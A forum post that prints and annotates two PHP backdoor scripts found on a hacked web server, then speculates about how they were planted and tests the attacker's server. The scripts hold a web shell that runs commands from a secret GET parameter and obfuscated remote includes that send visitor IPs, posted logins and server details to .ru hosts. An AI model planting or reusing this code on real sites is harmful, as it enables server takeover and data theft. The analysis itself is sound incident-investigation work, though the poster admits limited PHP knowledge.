First file (with formatting and editing):
Code:
<?php
# do not log any errors so that webmaster won't be aware of shenanigans
error_reporting(0);
# check for lowercase POST global settings "L" and "P"
if (isset($_POST["l"]) and isset($_POST["p"])) {
# check for global POST "INPUT"
if (isset($_POST["input"])) {
# if all true, then create a partially encoded string that includes
# key/value pairs of l/POST value "l", p/md5 encrypted POST value "p"
$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));
}
# otherwise create nonencoded string with same key/value pairs
else {
$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];
}
} else {
# if nothing is set, then return an empty string
$user_auth="";
}
# if global "log_flag" is not set, use "&log" string as an identifying variable
if (!isset($_POST["log_flg"])) {
$log_flg="&log";
}
# check for string including "http://bis.iframe.ru/master.php?r_addr="
# and encoding remote IP, server name, path of query, previous
# string from first part above, and log flag indicator
if (! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg) ) {
# if get request includes strange string, set the global to strange string
if (isset($_GET["a3kfj39fsj2"])) {
system($_GET["a3kfj39fsj2"]);
}
# if global post "L" matches the string "special",
# then print to STDOUT "sys_active" and include the full system
# identification
if ($_POST["l"] == "special") {
print "sys_active". `uname -a`;
}
}
?>
Second file (with formatting and editing):
Code:
<?php
# do not log any errors so that webmaster won't be aware of shenanigans
error_reporting(0);
# return numerous environment settings and assign them to variables
$s="b";
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
# assemble that series of variables into an encoded/obfuscated string
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s";
# try to parse "http://user12.phpsupport.ru/?encoded_list_of_environment_strings_and_terminated_with_b"
if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjEyLnBocHN1cHBvcnQucnU=")."/?".$str)))
{}
# or try to parse http://user5.phpsupport.ru/?encoded_list_of_environment_strings_and_terminated_with_b
else
{
include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjUucGhwc3VwcG9ydC5ydQ==")."/?".$str);
}
?>
I don't know PHP, but it would appear that they are returning the server's environment variables in an encoded form after making particular POSTs and GETs in their own defined query strings. They make a false query using preset keys and values. If the server has the PHP globals set up and the server set up "properly", then the Apache Error document directive detects the failed request and returns the defined PHP script. The PHP 404 script then runs, collects the server's environment variables (as much as possible depending on the server's settings), encodes the collected data and appends it as a query string to the PHP-decoded URLs.
I gather the .ru cracker then checks his logs for these new GETs that were parsed by your PHP server and decodes the query string to see whatever he can about your server's environment and identification. From there s/he/it tries other exploits.
My question is, how did the cracker write to your filesystem in the first place? Did some software have the ability to create a bunch of folders/files with 777 permissions and that was where the original exploit began? My guess is that that is what the shopping cart did and it is too open to the public, i.e. it creates receipts/tracking/data in the public domain space with permissions that are too loose.
I'll stop here and let everyone else take a crack at things.
Updated: A little more info. If you assemble a properly formatted request according to the first script and using a base64_encoder appropriately (e.g.http://bis.iframe.ru/master.php?r_addr=217.107.212.119&url=c2 F5b25hcmFmb3JiaWRkZW4uaHRtbA&log
which queries the server from the source crack on the "owner" of the iframe.ru domain), you get a curious 404 reply:
Code:
<?
header("HTTP/1.0 404");
print "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<html>
<head><script>function PrivoxyWindowOpen(){return(null);}</script><title>404 Not Found</title></head>
<body>
<h1>Not Found</h1>
<p>The requested URL $_SERVER[REQUEST_URI] was not found on this server.</p>
<hr>
$_SERVER[SERVER_SIGNATURE]
</body>
</html>";
?>
So the manual GET that mimics a soon to be hacked server returns text of 404-FileNotFound using an old DOCTYPE HTML 2.0 so that every client known can recognize the format, but the background server HTTP headers return a 200 OK response. Note also the script returns unparsed server variables to the window. Hmm, I wonder if they should be spitting out collected data from the remotely placed scripts here? At any rate, it would seem that the script was found, a false 404 returned to the GUI, and the data from the GET is undoubtedly logged in the server logs for future perusal. Don't really know what it all means and don't know if it's worth the time anymore. Oh well, more to chew on for the sleuthers.
Bookmarks